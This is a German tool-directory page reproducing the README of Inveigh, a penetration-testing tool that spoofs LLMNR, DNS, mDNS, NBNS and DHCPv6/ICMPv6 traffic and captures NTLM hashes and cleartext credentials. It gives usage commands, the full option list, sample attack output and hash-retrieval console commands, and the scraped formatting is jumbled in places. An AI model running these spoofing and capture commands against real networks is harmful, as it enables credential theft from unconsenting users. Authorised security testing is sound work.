Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Inveigh — .NET IPv4/IPv6 Machine-in-the-Middle-Tool für Penetrationstester | Kitploit
Tools/GitHubGitHub/kevin-robertson/inveigh
PenetrationstestsRed Teaming
GitHubkevin-robertson/inveigh

Inveigh

.NET IPv4/IPv6 Machine-in-the-Middle-Tool für Penetrationstester

Repository anzeigen
3.0k4725vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Inveigh

Inveigh ist ein plattformübergreifendes .NET IPv4/IPv6 Man-in-the-Middle-Werkzeug für Penetrationstester. Dieses Repository enthält die primäre C#-Version sowie die ältere PowerShell-Version.

Übersicht

Inveigh führt Spoofing-Angriffe und Hash-/Credential-Erfassungen sowohl durch Paketmitschnitt als auch durch protokollspezifische Listener/Sockets durch. Die Paketmitschnitt-Methode, die die Grundlage für die ursprüngliche PowerShell-Version dieses Tools bildete, bietet die folgenden Vorteile:

  • SMB NTLM Challenge/Response-Erfassungen über den Windows SMB-Dienst
  • Weniger sichtbare Portbindungen auf dem Hostsystem

Der Hauptnachteil ist die erforderliche erhöhte Zugriffsberechtigung.

In aktuellen Windows-Versionen erlauben die standardmäßig ausgeführten UDP-Dienste die Wiederverwendung von Ports. Daher bietet das Paketmitschnitt keinen Vorteil mehr, um belegte UDP-Ports zu umgehen. Die UDP-Listener von Inveigh sind alle so konfiguriert, dass sie die Portwiederverwendung nutzen.

Versionsbeschreibungen

  • PowerShell Inveigh - ursprüngliche Version, die über viele Jahre entwickelt wurde. Zumindest vorerst wird diese Version (1.506) ohne weitere Updates bleiben. Die Dokumentation finden Sie hier.
  • C# Inveigh (auch bekannt als InveighZero) - ursprünglicher C# POC-Code kombiniert mit einem C#-Port des Großteils des Codes der PowerShell-Version. Diese Version wurde nun für C# neu aufgebaut und wird zur primären Version.

Funktionen

Die C#-Version von Inveigh enthält Angriffe für die folgenden Protokolle:

  • LLMNR [Paketmitschnitt | Listener]
  • DNS [Paketmitschnitt | Listener]
  • [Paketmitschnitt | Listener]
Tool herunterladen
mDNS
  • NBNS [Paketmitschnitt | Listener]
  • DHCPv6 [Paketmitschnitt | Listener]
  • ICMPv6 [privilegierter Raw Socket]
  • HTTP [Listener]
  • HTTPS [Listener]
  • SMB [Paketmitschnitt | Listener]
  • LDAP [Listener]
  • WebDAV [Listener]
  • Proxy-Authentifizierung [Listener]
  • Inveigh arbeitet sowohl mit IPv4 als auch IPv6, wenn das zugrunde liegende Protokoll beide unterstützt.

    Plattformübergreifende Unterstützung

    Die SDK-Projektdatei von Inveigh ist für .NET 3.5, 4.6.2 und 6.0 eingerichtet, wobei 6.0 die Version ist, die auch unter Linux und macOS funktioniert.

    <TargetFrameworks>net35;net62;net6.0</TargetFrameworks>

    Bekannte Probleme

    • Der Paketmitschnitt ist nur unter Windows verfügbar aufgrund von Unterschieden in den Raw-Socket-Einrichtungen. Wenn für Linux oder macOS kompiliert wird, wird der Paketmitschnitt einfach deaktiviert. Stattdessen kann der SMB-Listener von Inveigh verwendet werden, wenn Port 445 offen ist.
    • macOS erfordert, dass Routen zum Beitreten zu Multicast-Gruppen verfügbar sind. In meinen Tests musste ich Routen für DHCPv6-Multicast hinzufügen, um diesen Angriff auf dieser Plattform durchzuführen.
      sudo route -nv add -net ff02::1:2 -interface en0

    Ausführung

    dotnet Inveigh.dll

    Plattformspezifische Builds für Linux/macOS

    • Mit .NET 6.0 auf dem Zielsystem installiert
      dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
      dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh

    • Ohne .NET 6.0 auf dem Zielsystem installiert
      dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
      dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh

    Verwendung

    Die Standardparameterwerte befinden sich am Anfang von Program.cs. Ich empfehle, alles zu überprüfen und an Ihre Bedürfnisse anzupassen, bevor Sie kompilieren. Alle Aktivierungs-/Deaktivierungsparameter können mit den Werten Y/N gesetzt werden.``` //begin parameters - set defaults as needed before compile public static string argCert = "MIIKaQIBAzCCC..." public static string argCertPassword = "password"; public static string argChallenge = ""; public static string argConsole = "5"; public static string argConsoleLimit = "-1"; public static string argConsoleStatus = "0"; public static string argConsoleUnique = "Y"; public static string argDHCPv6 = "N"; public static string argDHCPv6TTL = "30"; public static string argDNS = "Y"; ... //end parameters

    root@kitploit:~
    ### Parameter Hilfe```
    .\Inveigh.exe -?
    
    Control:
    
      -Inspect        Default=Disabled: (Y/N) inspect traffic only.
    
      -IPv4           Default=Enabled: (Y/N) IPv4 spoofing/capture.
    
      -IPv6           Default=Enabled: (Y/N) IPv6 spoofing/capture.
    
      -RunCount       Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.
    
      -RunTime        Default=Unlimited: Run time duration in minutes.
    
    
    Output:
    
      -Console        Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all)  
    
      -ConsoleLimit   Default=Unlimited: Limit to queued console entries.
    
      -ConsoleStatus  Default=Disabled: Interval in minutes for auto-displaying capture details.
    
      -ConsoleUnique  Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.
    
      -FileDirectory  Default=Working Directory: Valid path to an output directory for enabled file output.
    
      -FileOutput     Default=Enabled: (Y/N) real time file output.
    
      -FilePrefix     Default=Inveigh: Prefix for all output files.
    
      -FileUnique     Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.
    
      -LogOutput      Default=Disabled: (Y/N) outputting log entries.
    
    
    Spoofers:
    
      -DHCPV6         Default=Disabled: (Y/N) DHCPv6 spoofing.
    
      -DHCPv6TTL      Default=300: Lease lifetime in seconds.
    
      -DNS            Default=Enabled: (Y/N) DNS spoofing.
    
      -DNSHost        Fully qualified hostname to use SOA/SRV responses.
    
      -DNSSRV         Default=LDAP: Comma separated list of SRV request services to answer.
    
      -DNSSuffix      DNS search suffix to include in DHCPv6/ICMPv6 responses.
    
      -DNSTTL         Default=30: DNS TTL in seconds.
    
      -DNSTYPES       Default=A: (A, AAAA, SOA, SRV) Comma separated list of DNS types to spoof.
    
      -ICMPv6         Default=Enabled: (Y/N) sending ICMPv6 router advertisements.
    
      -ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.
      
      -ICMPv6TTL	  Default=300: ICMPv6 TTL in seconds.
    
      -IgnoreDomains  Default=None: Comma separated list of domains to ignore when spoofing.
    
    
    
      -IgnoreIPs      Default=Local: Comma separated list of source IP addresses to ignore when spoofing.
    
      -IgnoreMACs     Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.
      
      -IgnoreQueries  Default=None: Comma separated list of name queries to ignore when spoofing.
    
      -Local          Default=Disabled: (Y/N) performing spoofing attacks against the host system.
    
      -LLMNR          Default=Enabled: (Y/N) LLMNR spoofing.
    
      -LLMNRTTL       Default=30: LLMNR TTL in seconds.
    
      -MAC            Local MAC address for DHCPv6.
    
      -MDNS           Default=Enabled: (Y/N) mDNS spoofing.
    
      -MDNSQuestions  Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)
    
      -MDNSTTL        Default=120: mDNS TTL in seconds.
    
      -MDNSTypes      Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)
    
      -MDNSUnicast    Default=Enabled: (Y/N) sending a unicast only response to a QM request.
    
      -NBNS           Default=Disabled: (Y/N) NBNS spoofing.
    
      -NBNSTTL        Default=165: NBNS TTL in seconds.
    
      -NBNSTypes      Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)
    
      -ReplyToDomains Default=All: Comma separated list of domains to respond to when spoofing.
    
      -ReplyToIPs     Default=All: Comma separated list of source IP addresses to respond to when spoofing.
    
      -ReplyToMACs    Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.
      
      -ReplyToQueries Default=All: Comma separated list of name queries to respond to when spoofing.
    
      -SpooferIP      Default=Autoassign: IP address included in spoofing responses.
    
      -SpooferIPv6    Default=Autoassign: IPv6 address included in spoofing responses.
    
      -Repeat         Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.
    
    
    Capture:
    
      -Cert           Base64 certificate for TLS.
    
      -CertPassword   Base64 certificate password for TLS.
    
      -Challenge      Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.
    
      -HTTP           Default=Enabled: (Y/N) HTTP listener.
    
      -HTTPAuth       Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.
    
      -HTTPPorts      Default=80: Comma seperated list of TCP ports for the HTTP listener.
    
      -HTTPRealm      Default=ADFS: Basic authentication realm.
    
      -HTTPResponse   Content to serve as the default HTTP/HTTPS/Proxy response.
    
      -HTTPS          Default=Enabled: (Y/N) HTTPS listener.
    
      -HTTPSPorts     Default=443: Comma separated list of TCP ports for the HTTPS listener.
    
      -IgnoreAgents   Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad and proxy auth.
    
      -LDAP           Default=Enabled: (Y/N) LDAP listener.
    
      -LDAPPorts      Default=389: Comma separated list of TCP ports for the LDAP listener.
    
      -ListenerIP     Default=Any: IP address for all listeners.
    
      -ListenerIPv6   Default=Any: IPv6 address for all listeners.
    
      -MachineAccount Default=Enabled: (Y/N) machine account NetNTLM captures.
    
      -Proxy          Default=Disabled: (Y/N) proxy listener authentication captures.
    
      -ProxyAuth      Default=NTLM: (Basic/NTLM) Proxy authentication.
    
      -ProxyPort      Default=8492: Port for the proxy listener.
    
      -SMB            Default=Enabled: (Y/N) SMB sniffer/listener.
    
      -SMBPorts       Default=445: Port for the SMB listener.
    
      -SnifferIP      Default=Autoassign: IP address included in spoofing responses.
    
      -SnifferIPv6    Default=Autoassign: IPv6 address included in spoofing responses.
    
      -WebDAV         Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.
    
      -WebDAVAuth     Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.
    
      -WPADAuth       Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)
    
      -WPADResponse   Default=Autogenerated: Contents of wpad.dat responses.
    

    Standard (automatische Erkennung lokaler IPs)```

    .\Inveigh.exe [] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588] [+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Listener Addresses [IP 0.0.0.0 | IPv6 ::] [+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Spoofer Options [Repeat Enabled | Local Attacks Disabled] [-] DHCPv6 [+] DNS Packet Sniffer [Type A] [-] ICMPv6 [+] LLMNR Packet Sniffer [Type A] [-] MDNS [-] NBNS [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80] [-] HTTPS [+] WebDAV [WebDAVAuth NTLM] [-] Proxy [+] LDAP Listener [Port 389] [+] SMB Packet Sniffer [Port 445] [+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug\net35] [+] Previous Session Files [Imported] [] Press ESC to enter/exit interactive console

    root@kitploit:~
    ### Listener Only Mode (deaktivierter Paket-Sniffer)```
    .\Inveigh.exe -sniffer n
    [*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
    [-] Packet Sniffer
    [+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
    [+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
    [+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
    [-] DHCPv6
    [+] DNS Listener [Type A]
    [-] ICMPv6
    [+] LLMNR Listener [Type A]
    [-] MDNS
    [-] NBNS
    [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
    [-] HTTPS
    [+] WebDAV [WebDAVAuth NTLM]
    [-] Proxy
    [+] LDAP Listener [Port 389]
    [+] SMB Listener [Port 445]
    [+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\Debug\net35]
    [+] Previous Session Files [Imported]
    [*] Press ESC to enter/exit interactive console
    [!] Failed to start SMB listener on port 445, check IP and port usage.
    [!] Failed to start SMB listener on port 445, check IP and port usage.
    

    Hinweis: Bei deaktiviertem Paketsniffer versucht Inveigh, SMB-Listener für IPv4 und IPv6 zu starten. Auf den meisten Windows-Systemen ist Port 445 bereits belegt. Ignorieren Sie den Fehler oder fügen Sie -smb n hinzu.

    DHCPv6

    Starten Sie DHCPv6-Spoofer und IPv6-DNS-Spoofer. Hinweis: DNS ist standardmäßig aktiviert.``` .\Inveigh.exe -dhcpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] ... [+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:16] [+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]

    root@kitploit:~
    DHCPv6-Spoofer starten und DNS-Anfragen nur für die interne Domäne spoofen.```
    .\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
    ...
    [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
    [+] DNS Listener [Type A]
    ...
    [-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2 [domain ignored]
    [+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142:1%2 [response sent]
    

    Starte den DHCPv6-Spoofer und sende auch ICMPv6-RA-Pakete aus.``` .\Inveigh.exe -dhcpv6 y -icmpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] [+] ICMPv6 Router Advertisement [Interval 200 Seconds] ... [+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]

    root@kitploit:~
    Starte DHCPv6-Spoofer und beantworte Anfragen vom lokalen Host.```
    .\Inveigh.exe -dhcpv6 y -local y
    ...
    [+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
    [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
    

    DNS

    Spoofe SRV-Anfragen zusätzlich zu A.``` .\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org ... [+] DNS Listener [Types A:SRV] ... [+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.org] from fe80::242d:f99e:7534:b46f%2 [response sent]

    root@kitploit:~
    ### <a name="ICMPv6"></a>ICMPv6
    Senden Sie ICMPv6-Pakete, um einen sekundären IPv6-DNS-Server in Systeme des lokalen Subnetzes einzuschleusen.```
    .\Inveigh.exe -icmpv6 y
    ...
    [+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
    ...
    [+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02::1]
    

    Senden Sie ICMPv6-Pakete, um ein zusätzliches DNS-Such-Suffix in lokale Subnetz-Systeme zu injizieren.``` .\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net ... [+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Seconds] ... [+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [ff02::1]

    root@kitploit:~
    ### <a name="LLMNR"></a>LLMNR
    Spoofe AAAA-Anfragen statt A.```
    .\Inveigh.exe -llmnrtypes AAAA
    ...
    [+] LLMNR Listener [Type AAAA]
    ...
    [-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
    [-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignored]
    [+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response sent]
    [+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:8deb%2 [response sent]
    

    mDNS

    Starte mDNS-Spoofer und sende Unicast-Antworten auf QM-Anfragen.``` .\Inveigh.exe -mdns y ... [+] MDNS Listener [Questions QU:QM | Type A] ... [+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent] [+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201 [type ignored] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [type ignored]

    root@kitploit:~
    mDNS-Spoofer starten und Multicast-Antworten auf QM-Anfragen senden.```
    .\Inveigh.exe -mdns y -mdnsunicast n
    ...
    [+] MDNS Listener [Questions QU:QM | Type A]
    ...
    [+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
    [+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
    

    NBNS

    Starte NBNS spoofer``` .\Inveigh.exe -nbns y ... [+] NBNS Listener [Types 00:20] ... [+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response sent]

    root@kitploit:~
    ### <a name="HTTP"></a>HTTP
    Starte HTTP-Listener auf Port 80 (standardmäßig aktiviert)```
    .\Inveigh.exe 
    ...
    [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
    ...
    

    Starten Sie HTTP-Listener auf mehreren Ports``` .\Inveigh.exe -httpports 80,8080 ... [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Ports 80:8080] ...

    root@kitploit:~
    ### <a name="HTTPS"></a>HTTPS
    Starte HTTPS-Listener auf Port 443 mit Inveighs Standardzertifikat```
    .\Inveigh.exe -https y
    ...
    [+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 443]
    ...
    

    SMB

    SMB-Paket-Sniffer starten (standardmäßig aktiviert)``` .\Inveigh.exe ... [+] SMB Packet Sniffer [Port 445] ...

    root@kitploit:~
    Starten SMB Listener auf Port 445```
    .\Inveigh.exe -sniffer n
    ...
    [+] SMB Listener [Port 445]
    ...
    

    LDAP

    LDAP-Listener auf Port 389 starten``` .\Inveigh.exe ... [+] LDAP Listener [Port 389] ...

    root@kitploit:~
    ### <a name="WebDAV"></a>WebDAV
    Starte den HTTP-Listener mit WebDAV-Unterstützung (standardmäßig aktiviert)```
    .\Inveigh.exe
    ...
    [+] WebDAV [WebDAVAuth NTLM]
    ...
    

    Proxy-Authentifizierung

    Aktiviere die Proxy-Authentifizierungserfassung auf Port 8492``` .\Inveigh.exe -proxy y ... [+] Proxy Listener [ProxyAuth NTLM | Port 8492] ...

    root@kitploit:~
    ## Konsole
    
    Inveigh enthält eine Konsole, die während der Ausführung des Tools zugänglich ist (Drücken Sie Escape, um sie zu öffnen und zu schließen). Die Konsole bietet einfachen Zugriff auf erfasste Anmeldeinformationen/Hashes und andere verschiedene Informationen. Die Eingabeaufforderung der Konsole liefert Echtzeit-Updates für Klartext-, NTLMv1- und NTLMv2-Erfassungszahlen im Format unique:total. Hinweis: Die Konsole ist möglicherweise nicht zugänglich, wenn sie über C2 ausgeführt wird.
    
    ### Interaktive Konsolenhilfe - geben Sie ? oder HELP ein```
    =============================================== Inveigh Console Commands ===============================================
    
    Command                           Description
    ========================================================================================================================
    GET CONSOLE                     | get queued console output
    GET DHCPv6Leases                | get DHCPv6 assigned IPv6 addresses
    GET LOG                         | get log entries; add search string to filter results
    GET NTLMV1                      | get captured NTLMv1 hashes; add search string to filter results
    GET NTLMV2                      | get captured NTLMv2 hashes; add search string to filter results
    GET NTLMV1UNIQUE                | get one captured NTLMv1 hash per user; add search string to filter results
    GET NTLMV2UNIQUE                | get one captured NTLMv2 hash per user; add search string to filter results
    GET NTLMV1USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv1 hashes
    GET NTLMV2USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv2 hashes
    GET CLEARTEXT                   | get captured cleartext credentials
    GET CLEARTEXTUNIQUE             | get unique captured cleartext credentials
    GET REPLYTODOMAINS              | get ReplyToDomains parameter startup values
    GET REPLYTOIPS                  | get ReplyToIPs parameter startup values
    GET REPLYTOMACS                 | get ReplyToMACs parameter startup values
    GET REPLYTOQUERIES              | get ReplyToQueries parameter startup values
    GET IGNOREDOMAINS               | get IgnoreDomains parameter startup values
    GET IGNOREIPS                   | get IgnoreIPs parameter startup values
    GET IGNOREMACS                  | get IgnoreMACs parameter startup values
    GET IGNOREQUERIES               | get IgnoreQueries parameter startup values
    SET CONSOLE                     | set Console parameter value
    HISTORY                         | get command history
    RESUME                          | resume real time console output
    STOP                            | stop Inveigh
    

    Interaktive Konsoleneingabeaufforderung

    Die Konsoleneingabeaufforderung enthält Echtzeit-Erfassungszahlen.``` C(0:0) NTLMv1(0:0) NTLMv2(0:0)>

    root@kitploit:~
    Klartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)
    
    ## Quiddity
    
    Die von Inveigh verwendete Protokollbibliothek befindet sich [hier](https://github.com/Kevin-Robertson/Quiddity).
    
    ## Besonderer Dank  
    * Responder - https://github.com/lgandx/Responder  
    * Impacket - https://github.com/SecureAuthCorp/impacket  
    * mitm6 - https://github.com/fox-it/mitm6